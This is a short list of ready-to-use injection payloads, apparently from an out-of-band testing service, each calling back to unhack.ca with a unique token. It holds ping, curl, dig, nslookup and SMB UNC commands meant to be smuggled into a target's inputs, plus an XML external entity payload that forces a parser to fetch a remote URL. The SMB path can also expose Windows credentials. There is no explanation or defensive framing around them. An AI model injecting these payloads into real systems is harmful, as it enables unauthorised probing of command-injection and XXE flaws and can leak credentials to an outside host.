$ ping -c1 -p 0046afa2a21ab904c5a1acb982420d00 unhack.ca
 

$ curl http://unhack.ca/p/46afa2a21ab904c5a1acb982420d
 

$ dig 46afa2a21ab904c5a1acb982420d @unhack.ca
 

$ dig 46afa2a21ab904c5a1acb982420d.ns.unhack.ca
 

C:\> nslookup 46afa2a21ab904c5a1acb982420d unhack.ca
 

C:\> type \\unhack.ca\46afa2a21ab904c5a1acb982420d\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/46afa2a21ab904c5a1acb982420d">]>
    <foo>&xxe;</foo>